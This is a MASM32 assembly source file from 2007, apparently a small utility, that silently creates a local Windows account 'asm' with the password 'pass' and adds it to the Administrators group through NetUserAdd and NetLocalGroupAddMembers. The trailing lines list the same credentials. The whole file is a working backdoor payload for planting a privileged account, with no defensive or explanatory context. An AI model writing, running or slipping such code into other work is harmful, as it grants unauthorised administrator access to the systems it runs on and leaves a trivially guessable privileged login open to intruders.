;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;code by asm
http://www.asm32.cn/
;2007-9-29
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat, stdcall
option casemap :none ; case sensitive
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 数据
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
include kernel32.inc
include netapi32.inc
includelib user32.lib
includelib kernel32.lib
includelib netapi32.lib
.data?
oUserInfo USER_INFO_1<?>
oUser LOCALGROUP_MEMBERS_INFO_3 <?>
dwErr DWORD ?
.data
szUser dw "a","s","m",0
szPass dw "p","a","s","s",0
szAdministrators dw "A","d","m","i","n","i","s","t","r","a","t","o","r","s",0
.code
start:
push USER_INFO_1
push offset oUserInfo
call RtlZeroMemory
push offset szUser
pop oUserInfo.usri1_name
push offset szPass
pop oUserInfo.usri1_password
mov oUserInfo.usri1_priv,USER_PRIV_USER
mov oUserInfo.usri1_flags,UF_NORMAL_ACCOUNT
push offset dwErr
push offset oUserInfo
push 1
push NULL
call NetUserAdd
push oUserInfo.usri1_name
pop oUser.lgrmi3_domainandname
push 1
push offset oUser
push 3
push offset szAdministrators
push NULL
call NetLocalGroupAddMembers
mov eax,0
push eax
call ExitProcess
end start
user:asm
pass:pass